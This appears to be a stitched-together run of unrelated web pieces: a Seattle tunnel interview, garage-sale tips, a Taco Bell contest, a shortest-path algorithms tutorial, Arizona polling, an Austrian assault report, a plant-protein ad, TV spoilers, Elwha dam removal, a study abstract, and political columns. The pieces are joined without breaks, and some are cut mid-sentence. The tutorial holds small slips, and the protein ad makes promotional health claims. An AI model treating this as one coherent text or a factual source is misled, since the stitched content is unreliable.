DR: What? Seriously?
CM: If they decide that it is in the public good and local jurisdictions are not being helpful, they can take what they need and make it happen.
DR: Have they threatened to do that?
CM: I don’t know if they’ve said it in those words, but I think the city council recognizes that Seattle doesn’t have that much authority. That’s why they’re doing this play-nice, get-along routine rather than standing up for Seattle’s interests.
–> PAGE THREE: WHAT THE TUNNEL SAYS ABOUT CITY POLITICS
DR: Gregoire’s a Democratic politician. Isn’t Seattle part of her political base? Does she really want to flip it off?
CM: That’s an issue for her. But this debate’s now gotten polarized. The Downtown Seattle Association, the regional Chamber of Commerce, and the King County Labor Council are in heavy-duty cheerleading mode. The people who are opposing it are the good governance types, environmentalists, city types. I think Gregoire’s just made a political calculation that we’re not as important.
DR: Explain to me why downtown merchants want to build something that enables cars to bypass downtown.
CM: I have no idea.
DR: That seems against their interests, doesn’t it?
CM: I think their political calculation is that state highway department and certain legislators like those who run both transportation committees are hell-bent on some kind of highway. If they don’t do the bored tunnel, they’re going to force an elevated. And they don’t want the elevated because they want the benefit of a great civic waterfront, so they’re willing to put up with all the shortcomings of the tunnel, and all the risk, because it gets the waterfront they want.
DR: They don’t think the surface option is a serious option?
CM: Well, they signed the letter saying, let’s do the surface option and keep the door open for the bored tunnel. A pretty large group of downtown business leaders went on a field trip to San Francisco and learned about the Embarcadero and realized, OK, this can work. But they weren’t the majority and they probably felt a little bit too aggressive and progressive for their comrades, so they compromised on the bored tunnel. That’s the way I see it.
DR: I went to an event a few years ago and heard Gregoire talk about clean energy and climate change with great passion and eloquence. Yet there’s this disconnect when it comes to reducing vehicle miles traveled and building out transit. How does she square it?
CM: My guess is that she’s not an urban person. The argument that you can solve this problem with transit and demand management, and the city will be fine — she just doesn’t believe it. She’s been in Olympia her whole life. She doesn’t get why Amsterdam works, why Copenhagen works, and why New York City and San Francisco work. She just doesn’t think that way.
So when the Chamber of Commerce and Boeing say, you don’t understand, this is absolutely vital for us that we have more highways, she doesn’t have the tools to argue. In some ways that’s a failure of our side [to communicate that] good cities are about transit and walkability. It’s this mix of urbanism and environmentalism that we haven’t quite got right yet in Seattle.
DR: The Seattle City Council has proclaimed that Seattle is going to be carbon-neutral by 2030. Nickels started the Mayors’ Climate Protection Agreement. We’re known all over the world as a green city, and we’re getting ready to build a highway mega-project.
Seattle Climate Protection Initiative: Progress Report 2009CM: We did an assessment a year or two ago of our progress on Kyoto goals and found we’re on track in all the areas but transportation. Until we confront that issue, we’re not going to make our goal. Everybody looked at that and just walked away from the commitment. We don’t even talk about the Kyoto Protocol anymore in the Mayors’ Climate Initiative. It faded from reality.
DR: In welcome political circumstances like these, why can’t smart urbanists and environmentalists win these fights? What’s going wrong?
CM: That’s such a hard question.
The debate too easily gets polarized into what’s good for business vs. what those wacko environmentalists want. Having a platform on job growth and economic growth and a green future together would help bring people together. We haven’t done that successfully yet, that’s one criticism I’ll take for our side.
Second, the status quo protection machine is incredibly powerful. With a city like ours that’s strong and wealthy, there are a lot of people who are happy with things the way they are. It’s hard to get them to aim for a different future, because change is scary and they’re not sure they’re going to make as much money in that future.
DR: I don’t get Boeing. They just want people to be able to get from Seattle to their factories in the suburbs north and south of the city?
CM: They freely admit they don’t even use the Viaduct.
DR: WTF?
CM: They just have this worldview that two highways is the magic number, not one highway and 10 good streets. Even though the data showed this is not true, they predicted that I-5 will turn to gridlock if the Viaduct is not replaced with another highway. The data proved that that wouldn’t happen, but that’s what they believe.[Climate activist] K.C. Golden and I met with the Boeing people. We had all the facts in front of us, and they just looked at us and said, no, we don’t believe that.
DR: How long will the tunnel take?
CM: Gov. Gregoire first said she’s going to tear down the viaduct in 2012, no matter what. Then she moved it to 2015. She recently moved it again to 2016. That’s when the tunnel would open.
With surface/transit/I-5, in 2008 they said it could be done by 2012. I guess that puts us at 2014 now.
DR: Seattleites voted for the Monorail twice, against the stadium, against the tunnel. We’re getting the opposite. Why is that?
CM: We’re a big enough city to have one power cabal downtown that basically does what they want. We’re not big enough to have two. If we were big enough to have two business groups fighting against each other, everything would be in the open, and maybe the public would get listened to.
DR: So what’s the next big event?
CM: On Dec. 16, [Seattle City Councilmember Tom] Rasmussen and [State Sen.] Ed Murray are going to be defending the tunnel plan. That should be interesting. Then the EIS comment [period]. A lot of organizations are looking at how bad this thing is for the city.
I think SDOT’s going to distance themselves more and more from the project [SDOT did just that yesterday], let WSDOT move forward on their own. That’s going to affect the politics of City Council.
Then, the governor thinks she’s going to sign a contract [with Tutor-Perini, which is currently facing fraud and racketeering charges] in January or February. That’s before the final EIS is even released. That’s kind of illegal, so there might be an EIS challenge.
DR: What’s the point of no return?
CM: I don’t know. There are some [state] legislators who are fed up with how expensive and risky it is. There is always a chance legislators could say, we’re done with this. That’s a long shot.
It’s funding silos. The state highway department only funds highways. They have one tool to solve every problem: build a highway. That’s not the right tool in cities most of the time.
DR: It’s tough to see how it’s the right tool in this case.
CM: If you were on the receiving end of that $2 billion, you might see otherwise.By
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Garage sale week wasn’t enough. There are so many little things that I did–or meant to do–that I forgot to include them last week.
Advertise everywhere. I do mean everywhere. Take out an ad in the paper. Put an ad on Craigslist. Have fliers in the grocery store, the laundromat, and any place that has a publicly-accessible bulletin board. Put big, bright signs at every possible turn to get to your sale. Assume the drivers a dense. Don’t give them an opportunity to make a wrong turn or–like I did–put conflicting arrows on different sides of a sign. Use bait. Set out tools and furniture where they are visible. Lots of people drive past if they only see knick-knacks. Tools get the men to stop, furniture gets anybody running a household to stop. If you don’t actually have any tools to sell, put your lawnmower out with an insanely high price on it. Heck, if someone wants to pay you 125% of retail for your mower, take it! I had a number of tools and lawn-crafting gear–actually for sale–near the end of the driveway. If I can get the people out of the car, someone will find something worth buying. Price it like you’d buy it. People don’t come to garage sales looking for sale prices. They come looking to pay as little as possible. They want the crazy deal. You’ll have to oblige them, at least a bit. Price some things very low, and everything else almost very low. Aim for 25% of retail or less, except for a few special items that you won’t mind keeping. Don’t be afraid to say no. Some hagglers are jerks. If the offer is insulting, don’t feel obligated to take it. Bag the little stuff. Instead of pricing every toy 10 cents, put a handful of toys is a zip-lock bag for a dollar. Mix some of the bad with the good so the crap goes away, too. Reject every offer to open the bag and sell the stuff separately. Put the bags of toys on a table in the driveway. Kids stay out of the confined garage and entertain themselves digging. Kids are clumsy. They can’t break your lamp if the don’t come near it. Parents will welcome something to keep their little brats occupied while they shop. It’s a win for everyone! Describe anything that isn’t obvious. Make a lot of signs. To be clear, make a lot of signs. Describe the furniture. Show a current ebay auction for the item. Identify the antiques. You don’t want to be forced to sell everything yourself. Let the signs sell for you. Start early. Price and sort your stuff a month in advance. The night before the sale, all you want to have to do is set up tables and unbox your stuff. Don’t try pricing it then. Multi-day sales are best. It gives people a chance to tell their friends about it, or to come back and buy the thing they passed up. Don’t lose out on the buzz! Save your grocery bags. A few weeks before a sale, I go to the grocery store and ask if they mind if a bundle of plastic bags goes home with me. The manager has always said it’s okay. If that doesn’t work, just double bag your groceries and save the bags for a few weeks. Use blankets and tarps to hide anything that isn’t for sale. People will ask about everything they can see. Save yourself the hassle. Plan your layout to let people browse and move. You don’t want a traffic jam in the garage. Give it a clear flow, with enough room for people to pass each other comfortably. Three people should be able to pass each other in every row. It’s not always possible, but try. If two people can’t pass, start over. Clean your stuff. Clean items sell better. Dirty stuff will have to be sold for at least 25% less than clean stuff.
That’s it for now. More to come, I’m sure.
Note: The entire series is contained in the Garage Sale Manual on the sidebar.
Update: This post has been included in the Money Hacks Carnival.
Share the Love Tweet Get Free UpdatesWhat would you say if someone told you the rest of your meals for your entire life were covered? Great, right? But could you buy a “lifetime” of food for $10,000? Maybe at Taco Bell, as the chain’s new “Eleven Everlasting Dollars” contest claims each winner will win free Taco Bell food for life.
The fast-food Mexican chain announced yesterday that it’s released 11 special $1 bills into the wild, bearing winning serial numbers that it will post every day for 11 days. If you have one of those bills, “you could win a lifetime of food from Taco Bell®.*”
Oh yes, there is an asterisk, because while surely going south of the border can be cheap, a lifetime is a long time. So as Taco Bell explains, it’s free food for life if you’re going to eat about $10,000 worth of burritos and chalupas before you shuffle off this mortal coil in approximately half a century. And you pay taxes on your own.
The fine print:
*Prize awarded as $10,000 in Taco Bell® gift cards. Based on average consumption ($216 per year) for 46 years. Dollar Cravings Menu™ at participating locations. Prices and Items may vary. Prices exclude tax.
So could you survive on $216 worth of Taco Bell food every year? Probably not, if you eat only $4 worth of food in a week. But can you spend $10,000 at Taco Bell in 46 years? That’s between you and your stomach, friend. You two set the terms of what you want to do to each other.If this is the first time you hear about graphs, I strongly recommend to first read a great introduction to graph theory which has been prepared by Prateek. It contains all necessary definitions for this text. In this tutorial I will be talking about shortest paths in a Graph. Graphs can represent a lot of real-life networks like a state highway network, a network of cities or any other collections of objects that can be modeled as a network. The shortest path algorithm becomes very useful in finding out the least resource intensive path from one node of the network to the other.
Shortest Paths
We will start with one of the most studied and very interesting problem in graph theory - finding shortest paths between vertices. This problem is defined for graphs which have lengths associated with its edges.
But first things first, we need a few basic definitions to begin with.
A path in a graph is a sequence of vertices in which every two consecutive vertices are connected. If the first vertex of the paths is v and the last is u, we say that the path is a path from v to u.
Most of the time, we are interested in paths which do not have repeated vertices. These paths are called simple paths.
Since we want to find shortest paths, we have to define what a length of a path is. This is simple and straightforward, the length of a path is the sum of lengths of its edges.
Now we are ready to start examining the problem. Actually, we can create a distinction between the two major versions of it:
Single Source Shortest Paths (SSSP): for a source vertex s, we want to find the shortest paths from s to all other vertices in the graph. All Pairs Shortest Paths (APSP): for every pair of vertices (u, v), we are interested in finding the shortest paths between them.
From now, we will focus on finding the lengths of the shortest paths. However, all methods presented here can be extended to find the exact paths.
Of course, if we are able to solve SSSP, we are also able to solve APSP by solving SSSP problem for every vertex as the source vertex. While this method is absolutely correct, as we will see, it is not always optimal.
First, let's start with SSSP (Single Source Shortest Paths) problem.
Notice that if a graph has uniform length of all edges, you should be already able to solve it (for sure if you are familiar with Graph Monk I). Actually this is very simple, because if all edges have the same length, then the shortest path between two vertices is a path which has the fewer number of edges from all such paths and we already know that it can be solved with Breadth First Search (BFS).
The problem becomes harder if lengths are not uniform. The shortest path can have many more edges that any other path. Consider the following example (lengths are presented near the edges):
The shortest path between 1 and 6 has length 8 and contains 5 edges, while any other path from 1 to 6 has fewer edges and is longer. It is easy to see that BFS does not work here.
Now we know something about the nature of the problem, so let's start solving it. Probably the most famous algorithm for solving it is the Dijsktra algorithm. It is based on a crucial assumption that all edges have non negative weights. Its correct logic strongly depends on this assumption - the algorithm does not work if the graph has negative edges.
Let d(s, v) be the length of shortest path from source vertex s to vertex v. It is super easy to think about the state of execution of this algorithm as of partition the set V of all vertices into two disjoint sets X := {v : such that d(s, v) has its final value already computed} and V X. Initially V X is empty and we initialize d(s, s) := 0 and d(s, v) := infinity for all v!= s.
Then as long as V X in not empty i.e there is at least one vertex v for which d(s, v) in not already computed, we repeat the following step: Let v be a vertex in V X such that d(s, v) is minimal from all such vertices. We move v to X and for each edge (v, u) such that v is in V X, we update the current distance to u, i.e we do d(s, u) = min(d(s, u), d(s, v) + w(v, u)), where w(v, u) is the length of the edge from v to u.
And that is all! The most important thing here is the following invariant:
As long as V / X in not empty, there exists v in V X such that d(s, v) has already assigned its final value. This is true because we are dealing only with non negative edges here and this vertex has to have the minimal value of d(s, v) from all vertices in V X from the same fact. I encourage all of you to prove that this invariant is fulfilled in every step of the execution of the algorithm - it is a great exercise!
What is the time complexity of Dijkstra algorithm? Well, let's examine that. We have n iterations of the main loop here, because in each iteration we move one vertex to the set X. In each iteration, we select a vertex v which has the minimum value of d(s, v) from vertices in V X. Then we update distance values for all neighbours of v. It is easy to see that during the execution, we select this minimum exactly n times and we update distance values exactly m times, because we do it once for every edge. Let f(n) be the time complexity of selecting our minimum and let g(n) be the time complexity of the update operation. Then the total complexity is O(n * f(n) + m * g(n)). We can implement both these functions in many different ways. Probably the most common implementation is to use a heap based priority queue with decrease-key operation for updating distance values or to use use a balanced binary tree. Both these methods gives time complexity O(n logn + m logn). There are many cases that we can do better than that, for example, if length are small integers or if we can use more advanced priority queues like fibonacci heap. But these methods are rather too complicated for this text, nevertheless it is worth to know that they exists.
Finally, let's see what may happen in we have negative length edges. Let's consider the following graph:
Dijkstra algorithm will not work here, because it will assign d(s, s) := 0, then d(s, u) := 3 and finally d(s, v) := 1, but actually there exists a path from s to u of length 2.
So what we do when we have to deal with negative lengths of edges? We definitely have to use a different method and Bellman-Ford (BF) algorithm is a great one.
The idea behind this algorithm is to have computed shortests paths which uses at most k edges in the k-th iteration of the algorithm. After n - 1 iterations, all shortest paths are computed, because a simple path in a graph with n vertices can have at most n - 1 edges.
for v in V: if v == s: d[v] := 0 else: d[v] := INFINITY for i = 1 to n - 1: for (u, v) in E: d[v] := min(d[v], d[u] + length(u, v))
In order to see why the algorithm is correct, we can notice that if u,..., w, v is the shortest path from u to v, then it can be constructed from the shortest path from u to w by adding the edge between w and v to it. This is a very important and widely used fact about shortest paths - remember it.
A nice thing about Bellman-Ford is the fact that it works for negative edges also. The only assumption here is that the input graph cannot contain a negative length cycle, because the problem is not well defined in such graphs (you can construct a path of arbitrary small length). Actually, this algorithm can be used to detect if a graph contains a negative length cycle.
The time complexity of Bellman-Ford is O(n * m), because we do n iterations and in each of them, we examine all edges in the graph. While the algorithm was invented a long time ago, it is still the fastest strongly polynomial i.e. its polynomial complexity depends only on the number of vertices and the number of edges, method to find shortest paths in general graphs with arbitrary edges lengths.
APSP (All pairs shortest paths)
In this version of the problem, we need to find the shortest paths between all pairs of vertices. The most straightforward method to do that is to use any known algorithm for SSSP version of the problem and run it from every vertex as a source. This results in O(n * m log n) time if we use Dijkstra and O(n^2 * m) if we use Bellman-Ford. This is nice if we do not have to deal deal with negative edges, because Dijksta is quite fast then, although we will take a look at the algorithm which runs in O(n^3) even if there are negative length edges. This algorithm is called Floyd-Warshall (FW |
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McCain was dubbed the nation’s second most unpopular senator, behind Senate Majority Leader Mitch McConnell -- viewed favorably by 43 percent of Arizona voters surveyed and unfavorably by 47 percent. Earlier this year, his numbers were 51/43.
That’s likely no sweat for McCain who won re-election last year. But Flake? Oh yeah, he’s got to be sweating given that he’s up for re-election next year and people like Trump fav Jeff DeWit are (no doubt) watching. Kelli Ward is there, too, but she got trounced last year by the even more unpopular McCain.
Will numbers improve after Obamacare vote?
NEWSLETTERS Get the Opinions Newsletter newsletter delivered to your inbox We're sorry, but something went wrong Our best and latest in commentary in daily digest form. Please try again soon, or contact Customer Service at 1-800-332-6733. Delivery: Mon-Fri Invalid email address Thank you! You're almost signed up for Opinions Newsletter Keep an eye out for an email to confirm your newsletter registration. More newsletters
Democrats, as usual, have no major candidate on tap to challenge Flake. That's astonishing when you consider that Flake's net approval rating of -8 percentage points is the worst of any senator
According to survey, conducted April 1-June 18, 37 percent of Arizona voters approve of Flake’s performance while 45 percent disapprove. Earlier this year, he was at 45/37.
His dismal numbers were enough to move him from the nation’s sixth most unpopular senator to No. 3, right behind McCain.
Can I have a show of hands of those who think Flake’s numbers will improve if he votes to kick more than 400,000 Arizonans — many of them poor, many of them sick — to the health-care curb?
Anybody?
MORE FROM ROBERTS:
Phoenix will lose how much on that money-sucking hotel?
Don't blame Ame Deal's murderer. Blame her childhood
Read or Share this story: http://azc.cc/2uk7JADPolice in northern Austria have detained five migrants from Afghanistan over accusations of sexually harassing women during a wine festival in the city of Wels. The mayor demanded “zero tolerance” in the wake of the alleged assaults.
According to various Austrian media outlets, police said five Afghan asylum seekers were detained Sunday over links to the sexual assaults, which were said to have happened early Saturday.
Four of the alleged perpetrators appeared to be unaccompanied teenage refugees, aged between 15 and 16, while the fifth is 22 years old. “An assailant aged 15 was identified by one of the victims and accused of” sexually harassing her, DiePresse reports.
Read more
According to police, the affected women, eight so far, have reported that the group of assailants included at least two more males. Law enforcers are currently checking this information, while calling on potential victims and eyewitnesses to forward any information to police.
The assaults in Wels happened in a packed celebration tent during a wine festival. “The women reported that the men held them and grabbed between their legs,” Nachrichten.at cited police as saying.
In the aftermath of the incident, at least three women immediately filed legal complaints against the suspects. Reacting to the assaults, Wels’s mayor Andreas Rabl demanded “zero tolerance” for such cases in a post on his Facebook page.
“Zero tolerance and full consequences for the perpetrators,” Rabl wrote, adding that his hometown should not turn into a “greater district for refugees.”
Meanwhile, another case of sexual assault during the same festival happened early Sunday, according to Austrian media. A 23-year-old Iraqi refugee was questioned by police after a woman reported she was grabbed by the man at around 5 a.m. local time on Sunday at the festival. The refugee was later set free.
The organizers of Wels’s wine festival issued an apology in the wake of Saturday’s assaults, while also beefing up security.
“We deeply regret the incident during the last night. Our top priority remains the security of the festival’s guests,” the statement reads, as quoted by DiePresse.
Read more
Last year, a man identified as Amir. A., an asylum seeker from Iraq, raped a 10-year-old boy at a swimming pool in Vienna. After the attack, the man claimed to police it was a “sexual emergency.” The assailant was then sentenced to six years in prison for sexual abuse and the rape of a minor.
The most striking case of sexual harassment by refugees occurred however across the border in Germany last year.
Back then hundreds of women said they were harassed by attackers of “North African or Middle Eastern appearances” on 2016 New Year’s Eve near the central railway station in Cologne. Similar cases were also reported in other German cities, including Hamburg.
According to the latest figures, published by Die Welt, police registered over 1,200 legal complaints, with at least half of them citing sexual assaults. Law enforcers identified 281 suspects, mostly coming from Tunisia, Morocco, Syria and other Arab countries, while adding that several dozen Germans were also among them.
At least 22 perpetrators were convicted and received minor money penalties or a maximum of a year in prison.
The case sparked massive outrage across Germany and triggered numerous protests, with people lambasting Chancellor Merkel’s open-door policy toward refugees.
In July, the German parliament unanimously passed a tougher new law on sex offenses, making any form of non-consensual sexual contact a crime and easing the deportation procedure for migrants involved in sex assaults.If you’ve settled on whey for a while, that’s fine. You’ve gotten those essential amino acids that attracted you to whey in the first place. Of course, it’s probably come with a little bit of gas and discomfort, but you’ve told yourself that every relationship has its ups and downs. What if you could get everything you’ve liked about whey, but with a more fulfilling nutritional experience? What if I told you that you didn’t even have to cheat on those beloved essential amino acids to fill your nutritional needs? Let me introduce you to your new favorite protein relationship; plant-based protein.
Plant protein has everything you’ve loved about whey, namely the complete essential amino acid profile, with so much more. When you combine nutritionally dense foods like brown rice protein hemp, pea, brown rice, chia, and flax, you get a fantastic amino acid profile with naturally occurring nutrients that will feed your whole body instead of just your muscles.
How can that be true, you ask? Just take a look at the Tsogo plant-based proteins and see why you can do better than whey.
Brown Rice protein: Sometimes you just have a chemistry with something and you can’t stop think ing about it. That’s brown rice protein. Brown rice protein is that super sexy protein full of vitamins D,E,&K, as well as chromium and magnesium. That awesome combination aids in weight loss, reduction in glycemic impact,(1), and cholesterol health. Even more, it’s a great antioxidant. Looking at the nutritional profile of brown rice protein will definitely make you re-evaluate your whey relationship.
Hemp Protein: Hemp protein is powerhouse plant protein containing 20+ amino acids. On top of that, when you ingest it, you get brain and heart-health promoting omegas-3 and 6. It’s also rich in magnesium, iron and calcium, which help you with energy and digestion.
Pea Protein: Along with a strong amino acid profile, pea protein has glutamic acid, which helps convert your carbohydrates into energy instead of fat. Studies have also found that pea protein can help regulate blood sugar, a key to weight control. (2)
Chia: If you thought brown rice was sexy, you should take a look at chia. Along with a fantastic amino acid profile, chia provides crazy high levels of antioxidants and fiber. Even better, chia is an anti-inflammatory, so it helps with heart health. Studies even tout chia for helping create stronger bones, reducing the risk of some cancers, increasing metabolism, and controlling diabetes.(3
Flax: Rounding out the perfection of plant-based protein is flax. Flax is a high fiber, high protein food that is full of healthy omega-3 fats, so you stay fuller longer. Like other plant-based proteins, flax is high in antioxidants that have been shown to aid in fighting some cancers. (4)
All of these benefits make whey seem a little inadequate. Why settle when you can move on to a more satisfying protein relationship?
1 -http://www.ncbi.nlm.nih.gov/pubmed/25302637
2- http://www.ncbi.nlm.nih.gov/pubmed/26107658
3– http://www.ncbi.nlm.nih.gov/pubmed/18492301
4 -http://clincancerres.aacrjournals.org/content/11/10/3828.shortNow that it’s definitely confirmed that Jake Peralta (Andy Samberg) and Rosa Diaz (Stephanie Beatriz) are headed to prison on “Brooklyn Nine-Nine” season 5, fans are worried about the wrongfully accused detectives. Will they be able to survive life behind bars especially since Melanie Hawkins’ (Gina Gershon) influence knows no bounds? Fortunately for the fans, the show’s co-creator and executive producer Dan Goor has spilled the beans about what’s ahead for at least one of them.
Spoiler alert: This article contains plot details about the upcoming season of “Brooklyn Nine-Nine.” The fifth season premieres Sept. 26 in the US. Barring any changes, the season 5 opener should be available for Australian viewers to watch on SBS on Sept. 27, Wednesday at 8:00 p.m.
“Saturday Night Live” legend and “Ladies Man” Tim Meadows is set to play one of Jake’s cellmates next season. However, his character, Caleb, is reportedly a cannibal. That doesn’t sound good for Jake at all, but according to Goor, the two are set to have a somewhat friendly but complicated relationship.
“He cares about Jake, but they are put into a bind because they are both taken out of protective custody and thrown into general population,” Goor told EW. “So he also has to look out for himself a bit.”
Another guest star that is slated to appear next season on the Fox comedy series is Lou Diamond Phillips. According to Goor, the “La Bamba” actor plays an “erratic” criminal kingpin that will cross paths with Jake in prison. Both Meadows and Phillips are scheduled to appear in multiple episodes.
Charles Boyle for the win
Joe Lo Truglio, who plays Jake’s best friend Charles Boyle on the show, previously said that his character is “determined to make sure that his friend’s innocence is known to the rest of the world,” and that “he’s doing everything he can.” Hopefully Charles does it fast enough before anything happens to either Jake or Rosa.
Speaking of Charles, Andre Braugher (who plays the stoic Captain Holt) mentioned during a recent Facebook Q&A with Samberg that he finds Jake’s best friend to be the most relatable among the show’s characters. Braugher deadpanned that he’s fixated on “lovely things” like food and adopting Latvian children, just like Charles. Check out the hilarious clip below.
It’s certainly great that Charles, the precinct’s workhorse, gets the love he deserves. Here’s hoping that he spearheads Hawkins’ downfall in “Brooklyn Nine-Nine” season 5 and takes the credit.In September of 2011, machines began chipping away at the Elwha Dam in Washington’s lush Olympic Peninsula, kicking off the largest dam-removal project in United States history.
The dam has since been completely removed from the section of the Elwha River it had occupied since 1913. Another dam upstream, the Glines Canyon Dam, located in Olympic National Park, is partially dismantled and expected to be a thing of the past by early next summer, freeing the river for the first time in 100 years.
The landmark project is the culmination of a costly, multi-year river-recovery effort put together by the Lower Elwha Klallam Tribe and a coalition of state and federal entities. The idea is to reconnect a severed river, one in which the hundreds of thousands of adult salmon that used to spawn each year have dwindled to a few thousand.
But while it represents an impressive set of partnerships and a noble cause, it is also a grand experiment. Dam removal of this scale has never been done in the U.S. And with a staggering 24 million cubic yards of sediment being released into the river, there were some doubts about the project’s success.
So far, though, it’s been a promising story of recovery.
Within weeks of the Elwha coming down, fish were observed moving beyond the site of the former dam. Recolonizing adult coho salmon and wild winter steelhead reached well beyond within seven months. And in August, adult chinook salmon were seen in the park — the first observed salmon to naturally migrate into the watershed.
“So far it’s been good,” George Pess, a scientist with NOAA’s Northwest Fisheries Science Center who has been working on the Elwha for years, said this fall. “I think things have worked out pretty well. The fish have responded favorably.”
Biologists this winter have been keeping a close eye on the coho and chum salmon expected to migrate upstream to spawn during the fish window of November and December. Although turbidity is high in the river — due in part to increased rainfall — up to 5,000 coho and chum could make their way upstream, according to the Park Service.
Meanwhile, the high stream-flow and heavy turbidity have been transporting a great deal of sediment down the river, which is causing dramatic changes as it fills in pools, creates new beaches and reshapes the river.
Recovery isn’t limited to the river channel. Biologists have been replanting a forest of new vegetation along the banks of the river and at the sites of the two reservoirs that once sat above the dams. And the transportation of nutrients that salmon bring to an ecosystem has begun.
As the Elwha Dam was removed its reservoir receded, revealing beautifully preserved old growth cedar stumps and sites of cultural signifigance to the Lower Elwha Klallam Tribe. Photo by Ben Knight/DamNation
Another noteworthy piece of the project, said Barb Maynes, a public affairs officer for Olympic National Park, is cultural recovery. In August, members of the Lower Elwha Klallam Tribe gathered at their people’s sacred creation site — long buried by the waters of one of the reservoirs — for the first time in 100 years.
“It’s been a really exciting year since dam removal started,” Maynes said.
Dylan Tomine, a Patagonia fly-fishing ambassador, author and Wild Steelhead Coalition trustee, noted that the Elwha provides an excellent opportunity to test post-dam river recovery because it’s in pristine habitat.
“I think it’s really just an incredibly interesting laboratory to see how nature responds to this kind of thing,” Tomine said.
Right now, Tomine said, the Elwha’s not the prettiest place in the world. The water is loaded with sediment and what once were reservoirs are now dry lakebeds.
“But it’s been very encouraging,” he added. “To be able to see the river carving its own path again, without sounding too sappy, it’s a pretty moving thing.”
The only fly in the ointment for Tomine is the presence of a hatchery on the river; he would rather see fish returning naturally. But overall, he says it holds a great deal of promise, demonstrating what can happen if people are committed enough to a cause.
“The fact that we seem to be in an age of actually removing dams is pretty amazing,” Tomine said.
Workers are removing the Glines Canyon Dam gradually to allow the river to flush out sediment over time. Downward notching is on hold until January for the winter fish window.
Before the dams were built — the Elwha in 1913, and the Glines Canyon in 1927 — an estimated 400,000 adult salmon swam up the Elwha River each year to spawn, including monster Chinook that weighed up to 100 pounds. Steelhead and trout populations were also robust.
Annual salmon populations have dwindled to just a few thousand, but the Park Service is hoping their numbers return to historic proportions in the coming decades.
Tomine is optimistic.
“I think we’re going to see the project being completed and the river returning to its natural state. It’s really an example of people working together and really sticking to it,” he said.
For more on DamNation – watch the trailer, view more photos, get answers to frequently asked questions – visit DamNationFilm.com.SCOPE:
Olive products, the hallmark of Mediterranean diet, are associated with reduced risk of mild cognitive impairment and Alzheimer's disease (AD). We and other groups have shown that hydroxytyrosol (HT), a bioactive compound of olive products, ameliorates oxidative stress, mitochondrial dysfunction, and neural toxicity. However, whether HT in Mediterranean diet acts as a functional ingredient in delaying AD pathogenesis remains unclear.
METHODS AND RESULTS:
In the present study, APP/PS1 mice, an animal model of AD, were administrated for 6 months with 5 mg/kg/day of HT, a comparable level of HT in daily Mediterranean diet. HT improved electroencephalography activity and marginally benefited cognitive behavior of transgenic mice. In addition, HT treatment ameliorated mitochondrial dysfunction, reduced mitochondrial carbonyl protein, enhanced superoxide dismutase 2 expression, reversed the phase 2 enzyme system and reduced the levels of brain inflammatory markers, but had no effect on brain β-amyloid (Aβ) accumulation in APP/PS1 mice.
CONCLUSIONS:
These results suggest that HT may represent as a functional ingredient in Mediterranean diet in ameliorating AD-involved neuronal impairment via modulating mitochondrial oxidative stress, neuronal inflammation, and apoptosis without affecting APP processing.
© 2016 WILEY-VCH Verlag GmbH & Co. KGaA, Weinheim.Doug Mataconis · · 6 comments
Perhaps the most interesting development coming out of the ongoing legislative battle in the Empire State is the fact that Republicans are the ones donating to the cause:
As gay rights advocates intensify their campaign to legalize same-sex marriage in New York, the bulk of their money is coming from an unexpected source: a group of conservative financiers and wealthy donors to the Republican Party, most of whom are known for bankrolling right-leaning candidates and causes.
Their behind-the-scenes financial support — about $1 million in donations, delivered in recent weeks to a new coalition of gay rights organizations — could alter the political calculus of Albany lawmakers, especially the Republican state senators in whose hands the fate of gay marriage rests.
The donors represent some of New York’s wealthiest and most politically active figures and include Paul E. Singer, a hedge fund manager and top-tier Republican donor, as well as two other financiers, Steven A. Cohen and Clifford S. Asness.
At the same time, Mayor Michael R. Bloomberg, a billionaire businessman and philanthropist who has been a major contributor to Senate Republicans in New York, plans a significant push for same-sex marriage: giving at least $100,000 of his own money, hosting a fund-raiser at an Upper East Side town house, traveling to Albany to lobby lawmakers and giving a speech on the issue.
The new donations represent roughly two-thirds of the same-sex marriage coalition’s fund-raising, making New York the rare state where a lobbying campaign in favor of legalizing gay unions is not being financed primarily by liberal donors and Democrats. The support is likely to jolt the traditional financial and political backers of gay rights causes, who now find themselves in the unfamiliar position of being outraised and outspent in New York.
The donations are financing an intensive campaign of television advertisements and grass-roots activism coordinated by New Yorkers United for Marriage, a group of same-sex marriage advocates. The campaign is aimed chiefly at persuading several members of the Senate Republican majority to join most Senate Democrats in backing same-sex marriage, which was defeated in the Senate in 2009. The State Assembly, controlled by Democrats, has repeatedly passed same-sex marriage bills.
The newly recruited donors argue that permitting same-sex marriage is consistent with conservative principles of personal liberty and small government.
“I’m a pretty straight-down-the-line small-government guy,” said Mr. Asness, who described himself as a libertarian who favored less government intrusion in both markets and personal affairs. Mr. Asness, a frequent Republican donor, has praised Tea Party activists on his blog and last year attended a conference of right-leaning donors held by Charles and David Koch, among the leading conservative philanthropists in the nation.
“This is an issue of basic freedom,” Mr. Asness said.More from L. Ian MacDonald available More fromavailable here
If it was Tuesday, it must have been Ontario. All three major party leaders were in southern Ontario this week, elbowing each other for access to voters in the three area codes that will decide the outcome of this election.
In the Greater Toronto Area, the 416 and 905 codes, there are 54 seats — which would make the GTA Canada’s third largest province after Ontario and Quebec. Justin Trudeau and the Liberal caravan spent most of the day in downtown Toronto, appearing in three 416 ridings held by the NDP, before moving on to Kitchener for two more events at the end of the day. He also spent some time telling alienated Red Tory voters that there’s a home for them in the Liberal tent.
Tom Mulcair began his day in suburban 905, standing in front of the General Motors Centre in Oshawa, denouncing the Trans-Pacific Partnership over the concessions the Conservatives made on rules-of-origin in the auto industry. It was Angry Tom at his best, delivering a blistering assault on the Conservatives for giving away highly-paid union auto jobs — and on Justin Trudeau for waffling on the TPP.
Stephen Harper was in Etobicoke in western 416, where he was joined by Rob and Doug Ford, before moving on to a media availability, where he targeted the Liberals as a tax-and-spend party.
“If you make it, they take and spend it,” he said. To make his point, the owner of the business hosting the event laid money on the table as Harper called out how much each Liberal promise would cost him — his comments punctuated by the sound of a cash register ringing out. It was a strong visual gimmick — but the sound effects also made Harper look less like a prime minister and more like a game show host. Hard to tell how that might play on the evening news.
Nobody was wondering about Harper’s sudden decision to focus his fire on the Liberals, who now have the wind in their sails. The latest EKOS tracking poll for iPolitics reports a surge by the Liberals and a slide by the Conservatives in Ontario and Quebec over the Thanksgiving weekend.
Where EKOS had the Conservatives in front of the Liberals 36-33, with the NDP at 19 per cent through Saturday, its Tuesday report shows the Liberals moving out to a five-point 36-31 lead over the Conservatives, with the NDP back up to 21 per cent.
